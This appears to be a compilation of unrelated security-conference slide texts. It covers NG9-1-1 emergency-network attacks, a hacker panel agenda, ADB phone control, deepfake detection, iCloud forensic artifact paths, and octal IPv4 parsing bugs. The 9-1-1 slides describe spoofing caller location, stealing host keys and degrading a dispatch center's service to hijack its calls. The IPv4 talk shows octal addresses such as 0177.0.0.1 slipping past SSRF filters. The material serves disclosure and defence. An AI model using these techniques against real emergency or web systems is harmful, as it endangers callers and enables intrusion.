1 2 Public safety may be an obscure, public-sector part of the telecom/tech crowd, but “the crowd” is actually quite sophisticated. We consulted with members of the standards community before attempting these attacks to determine what attack surfaces they deemed most vulnerable. After completing our in-lab research, we disclosed a summary of our findings to members of NENA’s Development Steering Council. 3 Despite the addition of a few new originating network types in the last 20-25 years, 9- 1-1 remains largely a product of the telephone age, not the computer age. (And definitely not the Internet age!) 4 In the beginning, the Bell System created the PSTN, and the trust model was void, and without form – because they were THE PHONE COMPANY, damnit! The network structure (and law) made trust implicit: Physical connections between parties, plus an (mostly) separate control plane meant calls generally went where intended, unmolested. Generally, confidence was high that the called party was the party intended. Until the rise of the telephreaks! Jon Draper, AKA “Cap’n Crunch” found a 2600Hz whistle in a box of…Cap’n Crunch, and changed the world. An array of colorful boxes were soon developed by enterprising telephreaks around the world. Despite this, the public generally retained high confidence in the integrity and confidentiality of their phone calls. 5 When “Dial Service” began, each police, fire, and ambulance service had its own 7-digit local number. Many local governments distributed stickers that listed the numbers for their local services. Consumers could place these on the backs of their telephone receivers, so that the numbers would be near-to-hand, if an emergency arose. Dialing these digits took time, however, and the numbers varied from place to place, and even within different police precincts or fire service zones within a single city or county. 6 In the mid-’60s, the National Association of Fire Engineers (now the International Association of Fire Chiefs) advocated the creation of a single, uniform number for emergency services nation-wide. The President’s Commission on Law Enforcement and Administration of Justice agreed, and recommended the creation of a universal police number in 1968. After consultations with the FCC, AT&T chose “9-1-1” because those digits had never been used as an area code or office code anywhere in the Bell System. Anecdote: Here they are, in 1967, discussing all the features of modern emergency response: 9-1-1, Computer-Aided Dispatching, and portable two-way radios. 7 A basic 9-1-1 network is glorified “call forwarding.” Every call from a subscriber line connected to a single switch is routed to one primary Public Safety Answering Point or “PSAP,” which may dispatch one or more field response disciplines. Some calls will be placed from the primary PSAP’s jurisdiction already, but some calls from different towns or counties will go first to the one primary PSAP linked to the switch that serves them. Calls may then be transferred to secondary PSAPs for neighboring jurisdictions also served by that switch, or to secondary PSAPs that dispatch particular services. 8 Over time, public safety services grew more sophisticated, and we learned the three keys to an effective response: 1. Who (Telephone Number, possibly Subscriber Name) 2. Where (Address or Geodetic Coordinates) 3. What (…kind of service. E.g., wireline, wireless, telematics, fixed VoIP, coin phone, etc.) 9 Enhanced 9-1-1 tackles the “who” (at least indirectly) and the “where.” When a subscriber establishes telephone service the customer’s address is validated against a Master Street Address Guide that lists every valid street name and number range in a jurisdiction. The validated address is then entered into an Automatic Location Identification database, and the (non-dialable) trunk group number corresponding to the PSAP that serve’s the caller’s jurisdiction is entered in a Selective Routing Database. Both the ALI and SRDB information are linked to the subscriber’s telephone number. At call time, a “Selective Router” uses the caller’s phone number to determine the jurisdictionally-relevant 9-1-1 center (which is not always the closest!) in the SRDB. This tells the Selective Router, which is a Class 5 telephone switch, which trunk group to assign the 9-1-1 call to. Calls arrive at the PSAP with the caller’s telephone number (often still signaled via CAMA or MF), in a process called Automatic Number Identification or “ANI.” The ANI digits are then used to query an Automatic Location Identification database, 10 populated by the serving telephone company, to retrieve the caller’s address. 10 11 1. Wireless: A. Pre-populate ALI with placeholder “shell records”, using non-dialable “Pseudo ANI” numbers. B. Locate Caller: i. Phase I: Carrier chooses a shell record on a round-robin basis, and populates it with the street address of the serving tower, plus the central cardinal or inter-cardinal bearing of the sector. ii. Phase II: Position Determining Equipment in the wireless network performs calculations to estimate the location of the caller. A Mobile Positioning Center keeps track of protocol states and handles communications with the local wireline provider’s 9-1-1 network. The Carrier chooses a shell record on a round-robin basis, and populates it with its estimate of the caller’s location, expressed as latitude, longitude, and uncertainty. The location estimate may be derived either by the caller’s handset or by the carrier’s network. C. Send pANI to the wireline carrier that serves the PSAP, instead of caller’s number (send that as “Caller ID” only); forward media from Mobile Switching Center to Selective Router. D. PSAP queries ALI database with pANI; pANI de-references to the location. May initially be Tower/Sector, and only resolve to “GPS” coordinates after 15-25 seconds (on average). 2. VoIP: A. Pre-populate ALI with placeholder “shell records”, using non-dialable “Pseudo ANI” numbers. B. Locate Caller: i. For “Fixed” VoIP: Carrier provisions service address in ALI database at time of service establishment. ii. For “Nomadic” VoIP: Customer provisions “Registered Address” each time service point moves. (Hopefully) iii. For “Mobile” VoIP: Same as nomadic, only good luck being found. iv. For the regulatorily disinclined: Conceptually bifurcate your service, selling outbound service through one company and inbound service through another. Like magic, the rules don’t apply. C. Send pANI to wireline carrier that serves the PSAP, instead of caller’s number (send that as “Caller ID” only) (except fixed VoIP…maybe) ; forward media from Emergency Service GateWay to Selective Router. D. PSAP queries ALI database with pANI, pANI de-references to the caller’s address. Until recently, database updates happened approximately once per 24-48 hours. Now, updates can be triggered at call time (for some providers). 3. SMS: Sorta-kinda the new thing Kids <strike>are</strike> WERE using A. Carrier’s SMS Service Center re-uses cell sector / PSAP correlation from wireless routing to choose the jurisdictionally-appropriate PSAP. B. Third-party Text Control Center acts as a mini NG9-1-1 system, and forwards text to PSAP C. PSAP receives text as either TTY through existing Customer Premises Equipment, IP/HTML via browser, or native NG9-1-1 MSRP over SIP, depending on capabilities. 11 D. The latitude and longitude of the centroid of the serving cell sector is passed to the PSAP as a text message unseen by the user. 11 SWAT-ing and other 9-1-1 spoofing attacks are made much more dangerous by the implicit trust arrangement around ALI: Most public safety professionals believe ALI spoofing to be impossible, or nearly so. At least some PSAP ALI queries may return the target ALI record for a spoofed ANI, without checking whether the type of ANI (a wireline TN) matches the class-of-service (e.g., VMBL for “VoIP Mobile”, from a SIP generator on a Kali android) for the call. Many ANI spoofing providers intentionally block 9-1-1 calls from lines / SIP registrations with active spoofs in place. BUT: Relying on spoofers to always “do the right thing” isn’t smart long-term strategy. (Also, there are these people who go to ‘Cons…we should maybe worry about them.) 12 So, as with everything else conceived in the early 2000’s, let’s just put it all on the Internet and hope for the best, right? WRONG!!! The NG9-1-1 architecture specifications require private, managed IP networks. These could run as logical tunnels on untrusted “dirty internet” links. Many will run on private facilities (e.g., county-owned fibre), however, because the public safety community is inherently conservative. 13 Consumers want faster, more reliable data services in their homes and businesses. Removing legacy analogue voice presumptions from the copper telephone network could help with both. Moreover, however, how we communicate is changing almost 50% of the population lives in a home without a landline telephone (though they may have broadband). 14 Although much of the press about NG9-1-1 focuses on new media types, there are some other core public safety needs that the new standards meet: A. Dynamic, location-based routing allows us to send some wireless calls to the “right” (not “closest”) PSAP, when a cell sector crosses jurisdictional boundaries. (Pesky radio waves don’t stay within the lines!) B. Because everything is switchable and routable and, generally, not physically hardwired, the topology of an NG9-1-1 system can change dynamically to meet current needs. C. Mobile or virtual PSAPs can be set-up and torn-down as needed, and specialized PSAPs can be created with staff trained to deal with new media types at higher volumes. D. Yes, new media matters. But so does MULTI-media, like captioned telephone, voice carry-over, hearing carry-over, and 3-way video calling. E. These make 9-1-1 more accessible for individuals with disabilities. 15 My friends, the future is NOW! 16 NG9-1-1 does not assume that the Access Network Provider will always be the Originating Service Provider too, the way “The Phone Company” is for (most) voice service. Instead, it is network structure agnostic, but assigns certain functions to parties with unique relevance to their completion. For example, Access Network providers, who are best-situated to determine and transmit location information for callers (due to their inherently superior knowledge of their own infrastructure) are responsible for provisioning Location Information Servers. The i3 standard specifies adherence to many IETF standards-track protocols, rather than those developed in less-open standards bodies. This allows public safety agencies to buy NG9-1-1 either as a soup-to-nuts system, or as individual (but interoperable) components in a multi-vendor environment. 17 ESRP: Handles media and signaling for SIP-initiated traffic within an ESInet, and forwards traffic to a next hop. ECRF: Determines the correct (NOT NEAREST) PSAP for a particular call. PRF: Defines non-geographic aspects of routing (e.g., “Send all text calls to the text analysis center, not the local PSAP.!” Forest Guide: An Forest Guide tells a device or network where to find (in an IP addressing sense) for the boarder control function of the destination ESInet ICAM: Identity, Credentialing and Access Management provides the root of trust, and ensures that all people see the people in 1910 Reference: https://www.nena.org/resource/resmgr/ng9-1-1_project/2011_9-1- 1_tutorial_v4.1.pptx 18 But trust is a tricky thing! What each of us must worry about is whether our calls will be rejected if they somehow fail to authenticate. Yet many of us know just how hard is to get basic tunneling technologies to run consistently. And, there’s a BIG problem with just ignoring suspicious traffic! 19 (We promise we didn’t plan this. It just worked out that way.) 20 21 As with any exploit, YMMV. Too, some of this can be prevented by just following basic InfoSec hygiene and best practices guides. However, the stakes are higher here than they are in retail. 22 A PSAP Credentialing Authority is a necessary precursor to the widespread deployment of secure NG9-1-1 systems and the ESInets they are built upon. However, because of money, and time, and people resources (and money), no PCA exists yet. But, we’re working on it. Until then… 23 We start by taking a host, and retrieving its private key, which we then use to 24 In the absence of a PSAP Credentialing Authority, or some other mechanism (e.g., DANE…maybe…someday…maybe), the core NG9-1-1 Functional Entities, like Emergency Call Routing Functions, can’t know we’re not legit. So…what can we do with this new-found power, you ask? 25 There is a 2-way authentication problem: Access Network Providers are not required to sign Position Information Data Format – Location Objects (PIDF-LOs) provided by their Location Information Servers to Emergency Service Routing Proxies, so it could be manipulated in-flight or at rest, unless it’s protected by the transport and storage media. PSAPs are not required to sign service contour shape files or requested policy routing rules (and couldn’t do so today without a lot of certificate pinning). Attackers able to manipulate either or both data types could reroute or block calls from one person, targeted devices, or an entire geographic area. There are means to mitigate some of these issues, if GEOPRIV and HELD are implemented correctly. 26 So what if we want to pwn all the calls destined for our target PSAP? We can do that, too! Because 9-1-1 traffic must always go somewhere. 27 Using VoIPer, we degrade the apparent QoS available at our target PSAP until it is unable to establish SIP sessions. The Emergency Service Routing Proxy senses the PSAP going down, and routes the traffic normally destined for that PSAP straight into our evil little hands. 28 So, how could we use these powers unwisely? 1. Geographic denial of service 2. Selective denial of media (e.g., no texting or video in the area of an all-deaf college) 3. Target softening by silently reducing system redundancy before a broader attack 29 Ok, so the fail-working model has some inherent flaws (and we badly need a CA!). What can we do about it? Well… First, we can anticipate that these issue will arise and standardize some functions to deal with them. Since we have Border Control Functions, we can flag suspicious traffic, and maybe divert it to an Interactive Media Response system to verify the presence of a human, in an emergency, before forwarding to an actual 9-1-1 professional for processing. We can get off our kiesters and build the damn CA. For now, at least, we can continue to rely on our only real interconnection counter- party, the wireline TDM carriers to keep their networks physically constrained as they have always been. (Hint: They’re not half as constrained as their own masters think!) We could also measure 9-1-1 traffic to learn its patterns, and start to detect when traffic we expect isn’t arriving. 30 We can update the standards to require that Access Network Providers sign location information. We can also require devices and networks to implement sanity checks before accepting certain kinds of potentially-spoofable data, like location, if they have onboard location determining capabilities. We can also make sure we do implement HELD securely. 31 We would love to have a track at our conferences to talk about needed InfoSec improvements. Our community doesn’t know what we don’t know: InfoSec peeps need to show up so that we can learn. Already this year we’ve seen at least one PSAP hit with Ransomware, and that is definitely not cool. Please won’t you be, our neighbors? 32 Special thanks to our friends and lab partners off of whose homework we have copiously copied. And, to Dr. Walt Magnussen, the Prof who looked the other way when we smuggled evil into his lab. 33 Hit us up! We’re glad to take your questions here, or via twitter! 34
pdf
Free Your Mind The NMRC Info/Warez Panel Our Agenda • Intro – hellNbak • Hack FAQ – jrandom, Weasel • Ncrypt/Ncovert – Simple Nomad • Political Rant – Sioda an Cailleach • Win32 Buffer Overflow Eggs – Cyberiad • nmrcOS – Inertia • Panel Q&A • Closing – Simple Nomad Special Note No photography of the crowd No questions from the press during Q&A Hack FAQ jrandom [jrandom@nmrc.org] Weasel [weasel@nmrc.org] faq@nmrc.org Hack FAQ Past • Why it was created • How did it grow • Where is it going Hack FAQ Present • XHTML & CSS • New Content • Active Maintainers Hack FAQ Future • Multiple formats • Multiple languages • Even more content NCrypt / NCovert Simple Nomad [thegnome@nmrc.org] Overview of Ncrypt • Symmetric file encryption/decryption – Top 3 AES candidates • Secure coding features • Anti-Forensics – 2 file wiping techniques • Potential risk areas Overview of NCovert • Stealth communications tool • Levering features of TCP/IP • Potential risk areas Live Demo of Ncovert • Multiple formats A Political Rant Sioda an Cailleach Win32 Buffer Overflow Eggs Cyberiad [cyberiad@nmrc.org] nmrcOS Inertia [inertia@nmrc.org] nmrcOS@nmrc.org http://nmrcos.nmrc.org/ nmrcOS • Main features • Discussed in detail Sunday at 14:00 • ISO included on DC11 conference CD Panel Q&A • Mouth-breathing Reporters: Let the community ask the questions, we’ll get to your ilk later. A Summary Rant Simple Nomad [thegnome@nmrc.org] Thanks • From all of NMRC to you: Cask3t, Cyberiad, Daaihliuh, Grace Clovia Terre, hellNbak, Inertia, jrandom, Maniac, Phuzzy L0gik, Rat Toe, Ring Zero, Simple Nomad, Sioda an Cailleach, Tanshiai, Weasel • For your support and best wishes: Attrition, Wiretrip, Ghetto Hackers, cDc, and many others • And thanks to the underground for your years of support! R.I.P., Jitsu-Disk
pdf
因为公司经常会有批量⾃动化测试的需求,所以之前⽤Python写了⼀套类似于群控的⼿机 调度系统。 ⾸先想到的第⼀个问题是如何使⽤ADB控制⼿机; ⼀开始我写了⼀个 pyadbhelper 公共类,内容是使⽤ os.system 来调⽤ adb ,并且使 ⽤ -s 参数来选择操作的设备。 但实际上这个⽅案很不稳定,因为 adb 的代码⾥既包含 server 端⼜包含 client 端,有时候 莫名其妙的就会把 server 端重启了(不同的环境有很多原因)。 因为是多线程操作,所以⼀ 旦重启那么其他线程有可能正在进⾏ push pull 等操作就直接被中断导致任务失败。 换⼀种思路,就是⽤ python 实现⼀个 client 端的协议与server 端通信,有⼏个现成的库可 供使⽤: 1. google 的 python-adb 2. pure-python-adb 3. adbutils 作为⼀名github star⼯程师,其实还有很多别的库,但这三个是我认为相对稳定的(其实也 会有BUG)。 在 Ubuntu 上,如果想要使⽤ adb,⾸先得配置好 udev 的 rule,如果去百度搜索,⼤部分 教程都是教你⼿动添加对应设备的 rule,每换⼀个机型就得去添加⼀个,⾃⼰⼿残的话还 有可能写错。 作为⼀名 github star ⼯程师,我也找到了⽐较⽅便的解决⽅案: android-udev-rules 前景 ⼀ ⼆ 最后说⼀个最重要的问题,连接多台⼿机,⼀定⼀定⼀定要⽤带有独⽴电源的USBHUB, ⽽且尽量要往贵的买! 原因是如果电压不稳定,设备就会频繁的断开重连,造成很多莫名其妙的问题。特别是在 push 、 pull 等占满 usb带宽的操作,p着p着就卡死或者结束了。 三
pdf
Face Swapping Video Detection with CNN Wang Yang, Junfeng Xiong, Liu Yan, Hao Xin, Wei Tao Baidu X-Lab Face Swapping Video Detection with CNN •  Deepfakes video •  A simple and effective CNN •  Face recognition based method Deepfakes Video When Face Recognition Systems Meet Deepfakes Vulnerable face comparison before fake faces •  Microsoft Azure azure.microsoft.com Similarity 86.0% Similarity 70.5% Real Fake When Face Recognition Systems Meet Deepfakes Similarity 95.1% Similarity 87.3% Vulnerable face comparison before fake faces •  Amazon AWS aws.amazon.com Real Fake Face Swapping Video Generation Characteristics •  Swap victim’s face in every frame independently •  Not End2End •  Only manipulate central face area •  Autoencoder Deepfakes Training Phase Deepfakes Generation Phase •  Convert –  Person A Encoder -> Person B Decoder •  Merge back –  Gaussian Blur/Color Average –  Poisson Image Editing Face Swapping Video Detection with CNN •  Deepfakes video •  A simple and effective CNN –  capturing low-level features of the images •  Face recognition based method A Simple and Effective CNN Design purpose •  Input contains marginal(background) information. •  Capture low-level features of the images. margin (background) face area A Simple and Effective CNN Training •  Dataset from VidTIMIT –  67600 fake faces and 66629 real faces –  low quality and high quality images •  Cropped faces –  with face landmark detector MTCNN –  obtain 1.5 scaled bounding box •  Augmented data –  horizontal flipping –  randomly zooming –  shearing transformations A Simple and Effective CNN Characteristics •  3 convolution layers •  Accuracy rate: 99% Face Swapping Video Detection with CNN •  Deepfakes video •  A simple and effective CNN •  Face recognition based method –  capturing high-level features of faces What is FaceNet? Characteristics •  SOTA CNN for face recognition •  Model structure •  Triple Loss FaceNet: A unified embedding for face recognition and clustering A FaceNet based SVM Classifier Training •  Central face area –  No margin/background –  Only face area •  Dataset from VidTIMIT abandon A FaceNet based SVM Classifier Characteristics •  FaceNet used for extracting face features •  SVM for binary classification •  Accuracy rate: 94% A Simple and Effective CNN Accuracy rate: 99% A FaceNet based SVM Classifier Accuracy rate: 94% Summary •  CNN for image classification –  A simple architecture can work well. –  catching low-level features: contours, edges… •  A FaceNet based SVM classifier –  using FR to catch features of fake faces –  using SVM for binary classification –  64% accuracy rate for the misclassification set from the simple CNN based classifier Thank You! Q&A
pdf
Sarah Edwards | @iamevltwin | oompa@csh.rit.edu | mac4n6.com iCloud Basics Storage and Acquisition of iCloud Data Synced Preferences Application Data What is “Everything”? • Documents • Email • Contacts • Preference Configurations • Photos • Calendar • Notes • Reminders • and more! !  Email: Apple ID !  Numeric: iCloud “Person ID” !  Vetted Account Aliases !  Email Addresses !  Phone Numbers !  Credentials !  Password !  Two-factor !  Token !  Storage !  5GB Data Free !  Can purchase up to 1TB OS X •  ~/Library/Application Support/iCloud/Accounts iOS •  /private/var/mobile/Library/Preferences/com.apple.ubd.plist Windows •  HKEY_CURRENT_USER\Software\Apple Inc.\Internet Services On Disk • OS X - Disk Image • Windows - Disk Image • iOS • Physical Acquisition - Jailbreak required for iPhone4S generations and newer. • or SSH • or “Physical Logical” (Elcomsoft EIFT, “save user files to .tar archive”) iCloud.com • Various Download Tools Downloadable Storage Types • iCloud Backups (iTunes-ish Backups) • iCloud Data (Mobile Documents, Photos, Synced Preferences, etc) Sketchy • iPhone Backup Extractor - http://www.iphonebackupextractor.com/ • iPhone Data Recovery - http://www.iskysoft.com/data-recovery/how-to- download-icloud-backup.html Slightly Less Sketchy? • iLoot - https://github.com/hackappcom/iloot Forensic • Elcomsoft Phone Breaker (EPPB) - https://www.elcomsoft.com/ eppb.html •  iLoot: •  Apple ID Required •  No Two-factor Support •  Python! Run Anywhere •  Command-line Only •  Open Source •  Free! •  Elcomsoft Phone Breaker (EPPB) !  “Forensic” !  Apple ID or Authentication Token !  Support for Two-factor !  Mac or Windows !  Professional or Forensic Editions •  iCloud Backups & iCloud Files (iCloud Drive) •  $200, $800 •  Contains synced preferences for: •  Email •  Safari •  WiFi •  Maps •  Stocks •  Weather •  Messages •  Legacy & Sandboxed Locations •  ~/Library/SyncedPreferences/ •  ~/Library/Containers/… •  OSX: •  ~/Library/SyncedPreferences/com.apple.mail-com.apple.mail.recents.plist •  ~/Library/Containers/com.apple.corerecents.recentsd/Data/Library/SyncedPreferences/ recentsd-com.apple.mail.recents.plist •  iOS: /private/var/mobile/Library/SyncedPreferences/ com.apple.cloudrecents.CloudRecentsAgent-com.apple.mail.recents.plist •  MR – Single Contact •  GP – Group Email •  OS X: •  ~/Library/SyncedPreferences/com.apple.mail-com.apple.mail.vipsenders.plist •  ~/Library/Containers/com.apple.mail/Data/Library/SyncedPreferences/com.apple.mail- com.apple.mail.vipsenders.plist •  iOS: •  /private/var/mobile/Applications/<GUID>/Library/SyncedPreferences/com.apple.mobilemail- com.apple.mail.vipsenders.plist •  /private/var/mobile/Containers/Data/Application/<GUID>/Library/SyncedPreferences/ com.apple.mobilemail-com.apple.mail.vipsenders.plist •  OS X: ~/Library/Containers/com.apple.corerecents.recentsd/ Data/Library/SyncedPreferences/recentsd- com.apple.messages.recents.plist •  iOS: /private/var/mobile/Library/SyncedPreferences/ com.apple.cloudrecents.CloudRecentsAgent- com.apple.messages.recents.plist •  MR = Single Recipient, GR = Group •  OS X: ~/Library/ SyncedPreferences/ com.apple.Safari.plist •  iOS: •  /private/var/mobile/Applications/ <GUID>/Library/ SyncedPreferences/ com.apple.mobilesafari.plist •  /private/var/mobile/Containers/ Data/Application/<GUID>/ Library/SyncedPreferences/ com.apple.mobilesafari.plist •  OS X: ~/Library/ SyncedPreferences/ com.apple.wifi.WiFiAgent.plist •  iOS: /private/var/mobile/ Library/SyncedPreferences/ com.apple.wifid.plist •  OS X: •  ~/Library/SyncedPreferences/ com.apple.Maps- com.apple.MapsSupport.bookmarks.plist •  ~/Library/Containers/com.apple.Maps/ Data/Library/SyncedPreferences/ com.apple.Maps- com.apple.MapsSupport.bookmarks.plist •  iOS: •  /private/var/mobile/Library/ SyncedPreferences/com.apple.Maps.plist •  /private/var/mobile/Containers/Data/ Application/<GUID>/Library/ SyncedPreferences/com.apple.Maps- com.apple.MapsSupport.bookmarks.plist •  Recent Addresses (Extracted from Mail emails – “From…”) •  OS X: ~/Library/Containers/com.apple.corerecents.recentsd/Data/Library/ SyncedPreferences/recentsd-com.apple.corerecents.map-locations.plist •  iOS: /private/var/mobile/Library/SyncedPreferences/ com.apple.cloudrecents.CloudRecentsAgent- com.apple.corerecents.map-locations.plist •  Recent Locations & Searches •  OS X: •  ~/Library/SyncedPreferences/com.apple.Maps- com.apple.MapsSupport.history.plist •  /Users/oompa/Library/Containers/com.apple.Maps/Data/Library/ SyncedPreferences/com.apple.Maps-com.apple.MapsSupport.history.plist •  iOS: •  /private/var/mobile/Library/SyncedPreferences/com.apple.Maps- com.apple.Maps.recents.plist •  /private/var/mobile/Containers/Data/Application/<GUID>/Library/ SyncedPreferences/com.apple.Maps-com.apple.Maps.recents.plist •  /private/var/mobile/Containers/Data/Application/<GUID>/Library/ SyncedPreferences/com.apple.Maps-com.apple.MapsSupport.history.plist •  Extracted from Mail emails – “From…” Pages • ~/Library/Mobile Documents/ com~apple~Pages/ Keynote • ~/Library/Mobile Documents/ com~apple~Keynote/ Numbers • ~/Library/Mobile Documents/ com~apple~Numbers/ TextEdit • ~/Library/Mobile Documents/ com~apple~TextEdit/ Other • ~/Library/Mobile Documents/ com~apple~CloudDocs/ •  com~apple~Numbers (& Keynote, Pages, & TextEdit) •  “Documents” Directory •  iWorkPreviews Directory (iWork Only) •  com~apple~CloudDocs •  No “Documents” Directory •  iOS: /private/var/mobile/Library/Mobile Documents/ •  Follows same structure •  However… •  Hidden plist files •  <document_name>.iclo ud •  Theories •  Files had yet to be downloaded to device? •  Pointer Records? •  Image acquired in strange state? Page 58 •  Similar directory structure: •  com~apple~KeyNote (Pages, Numbers, TextEdit) •  OS X - Legacy Location w/ Old iPhoto App: •  ~/Library/Application Support/iLifeAssetManagement/ •  OS X - Legacy Location w/ Old iPhoto App: •  ~/Library/Application Support/ iLifeAssetManagement/ •  Photo Metadata – iLifeAssetManagement.db •  Only stores data about iCloud related photos. (Other photo data found in iPhoto Library files.) •  OS X – iLifeAssetManagement.db •  SQLite Database •  Contains iCloud photo metadata in AMAsset table: •  Photo UUID •  iCloud Person ID •  Timestamps (Downloaded, Modified, Created) •  Height/Width •  Filename •  File Size •  Device UDID Your Photo Stream Photos - sub/ Shared Photo Stream Photos - sub-shared/ •  OS X – New Location w/ new OS X Photos App: •  ~/Pictures/Photos Library.photoslibra ry/ •  Local photos and iCloud photos are integrated. •  OS X – New Location w/ new OS X Photos App: •  ~/Pictures/Photos Library.photoslibrary/ •  OS X – New Location w/ new OS X Photos App: •  ~/Pictures/Photos Library.photoslibrary/ •  Masters Directory: The photos themselves •  JPG - Photos •  PNG - Screenshots •  MOV – Movies •  Time stamped File Paths •  Extended Attribute: com.apple.quarantine = cloudphotosd, iCloud •  OS X – Photos App Metadata •  ~/Pictures/Photos Library.photoslibra ry/Databases/ Library.apdb •  Link to /apdb/ Library.apdb •  SQLite Database •  OS X – Photos App Metadata – Library.apdb •  Photo UUID •  File Name •  Timestamps (imageDate, Create, Export Image, Export Metadata, •  Height/Width/Rotation •  Associated Notes Flag •  Location Latitude/Longitude •  Time Zone •  Reversed Location Blob Data (similar to reverse IP location) •  More! •  Have not yet found relationship to Device UDID. " •  iOS iCloud Photos: •  Photos: /private/var/mobile/Media/PhotoStreamsData/<iCloud_Person_ID>/1##APPLE/* •  Metadata: /private/var/mobile/Media/PhotoStreamsData/<iCloud_Person_ID>/.MISC/* •  iOS iCloud Photos – Shared Albums •  Shared Album Data: /private/var/mobile/Media/PhotoData/PhotoCloudSharingData/<iCloud_Person_ID>/ <GUID>/ •  Shared with whom?: ZCLOUDSHAREDALBUMINVINTATIONRECORD Table - /private/var/mobile/Media/ PhotoData/Photos.sqlite •  Correlate the GUIDs •  iCloud Shared Photo Comments in ZCLOUDSHAREDCOMMENT Table •  “My Photo Stream” •  “Shared” •  “New Condo” •  “Arch” •  “Condo” •  “Copenhagen and St…” •  C:\Users\<user>\Pictures\iCloud Photos\My Photo Stream\ •  C:\Users\<user> \Pictures\iCloud Photos\My Photo Stream\ •  IMG_####.JPG or PNG •  C:\Users\<user> \Pictures\iCloud Photos\Shared\ •  Directory is Shared Album Name (“Arch”) •  <43_alphanum_charac ters>.JPG or PNG •  OS X: ~/Library/Mobile Documents/ com~apple~shoebox/ UbiquitousCards/ •  iOS: /private/var/ mobile/Library/Passes/ Cards/ •  Pass Information - pass.json Files •  OS X: ~/Library/Containers/com.apple.Notes/Data/ Library/Notes/NotesV4.storedata •  iOS: /private/var/mobile/Library/Notes/notes.sqlite •  SQLite Tables: ZNOTE & ZNOTEBODY •  Note Creation & Edited Time •  Note Title & Contents •  OS X: ~/Library/Calendars/Calendar Cache •  iOS: /private/var/mobile/Library/Calendar/Calendar.sqlitedb •  SQLite Table: ZCALENDARITEM •  Calendar item creation time and title. •  OS X: ~/Library/Application Support/AddressBook/Sources/<GUID>/ AddressBook-v22.abcddb •  iOS: /private/var/mobile/Library/AddressBook/AddressBook.sqlitdb •  SQLite Tables: ZABCDRECORD & ZABCDPHONENUMBER •  Contact Name & Number •  Contact Creation and Modification Dates •  Microsoft, Google, Dropbox, and other 3rd Party Apps! •  Empty " “Reserved for Future Use”? •  iCloud Keychain: •  OS X: ~/Library/Keychains/<GUID>/ keychain-2.db (SQLite Database) •  Accessible via User’s Login password •  iOS: /Library/Keychains/keychain-2.db (SQLite Database) •  iOS Backup – Encrypted iTunes Backup Only •  May contain passwords for – websites, WiFi, Application Accounts (Chat, Email, Apple), Web Form Data, Credit Cards, etc. •  iCloud Keychain – Access via OS X Keychain Access.app •  Expect more data to be stored in the iCloud •  Many iCloud related directories empty…but for how long? •  More 3rd Party Application Data •  Expect changes to directory structure and on-disk related data •  Thank You for Coming! •  Slides are available at mac4n6.com •  Contact Me! •  oompa@csh.rit.edu •  @iamevltwin •  mac4n6.com •  ***All icons are owned and are the copyright of Apple, Inc.
pdf
Rotten code, aging standards, & pwning IPv4 parsing across nearly every mainstream programming language 2 @jfslowik 3 Disclaimer ● None of this research was paid for ● We research in good faith ● Nothing today represents our past/present/future employers ● None of us are under gag orders* ● All images are CC0 or public domain ● All trademarks, logos and brand names are the property of their respective owners 4 What will we be discussing today? ● CVE-2020-28360 9.8 ● CVE-2021-28918 9.1 ● CVE-2021-29418 5.3 (@Ryotkak’s emergency fix) ● CVE-2021-29921 9.8 ● CVE-2021-29662 7.5 ● CVE-2021-29424 7.5 ● CVE-2021-29922 new est. 9.8 ● CVE-2021-29923 new est. 9.8 ● Oracle S1446698 pending est. 9.8 ● ***** 768013610 pending est. 9.8 5 Talk format ● Finding this type of vuln ● How to horizontally scale your vulnerabilities ● Some PoCs ● Exploitability of a vuln ● Further attack vectors/research 6 Takeaways ● #patchtuesday every day ● Patching* an entire class of this size? *Apologies to anyone who might have to go patch right after this 7 Takeaways ● Exponential vulnerability disclosures ● Thought models to magnify your attack vectors ● Horizontally scale your research 8 What do you see? 9 10 You’re listening to... Sick Codes @sickcodes Kelly Kaoudis @kaoudis 11 Presenting our work with... John Jackson @johnjhacking Nick Sahler @tensor_bodega Victor Viale @Koroeskohr Cheng Xu @_xucheng_ Harold Hunt @huntharo 12 Quickstart Octal (base-8) number system 0 1 2 3 4 5 6 7 https://linguistics.berkeley.edu/~avelino/Avelino_2006.pdf 13 No 8s or 9s, 0-7 only 14 Leaving home… 15 Coming home… 16 t Coming home… 17 0177.0.0.1 → 127.0.0.1 https://check-host.net/ 18 87.0.0.1 ← 0127.0.0.1 https://check-host.net/ 19 @bagder (curl guy) 20 @bagder (curl guy) 21 Rotten code? ● Bitrot, but for dependencies (not blame hour!) ● How well-tested should developers assume a widely-used or standard library is? 22 Contributing factors 23 Contributing factors 24 Contributing factors ● No (ratified) IP address format standard ● Who even uses octal other than hackers anyway 25 nodejs private-ip 26 private-ip 27 28 29 30 31 32 “Private Internets” https://datatracker.ietf.org/doc/html/rfc1918 33 The obvious ranges 34 That’ll never happen... 35 36 Back to the repo 37 Some more test cases 38 No node-netmask for IPv6 39 40 s/regex/netmask/ 41 CVE-2020-28360 ● Harold, John, Nick & Sick https://johnjhacking.com/blog/cve-2020-28360/ 42 CVE-2020-28360 ● 12,120 direct weekly downloads ● 355 publicly identified npm dependents (public npm packages relying on private-ip) ● 73 GitHub dependents https://github.com/frenchbread/private-ip/network/dependents ●153,374 combined weekly downloads of all dependents (most frequently libp2p-related) https://github.com/frenchbread/private-ip/network/dependents 43 yeah, so? 44 https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf @agarri_fr @kaoudis 45 ssrf ● Bypass input validation / waf rules ● Masquerade as the server to destination ● LFI ● RFI https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf @kaoudis 46 CVE-2021-28918, CVE-2021-29418 ● 2,840,781 direct weekly downloads ● 170 publicly identified npm dependents (public npm packages relying on node-netmask) ● 289,515 GitHub dependents https://github.com/rs/node-netmask/network/dependents ● 238 million+ lifetime downloads (as of March 2021) @kaoudis 47 Net::Netmask https://www.bleepingcomputer.com/news/security/critical-netmask-networking-bug-impacts-thousands-of-applications/ @kaoudis 48 49 N-days the comments section @sickcodes 50 @sickcodes 51 hackernews https://news.ycombinator.com/item?id=26620538 @sickcodes 52 o rly 53 https://xkcd.com/242/ @kaoudis 54 Applying the suggestion box ● Perl Data::Validate::IP, with Dave Rolsky (CVE-2021-29662) ● Python (CVE-2021-29921) ● ... @sickcodes 55 Meanwhile: discussing parseInt with Google @sickcodes 56 @sickcodes Meanwhile: discussing parseInt with Google 57 @sickcodes Meanwhile: discussing parseInt with Google 58 @sickcodes Meanwhile: discussing parseInt with Google 59 @sickcodes 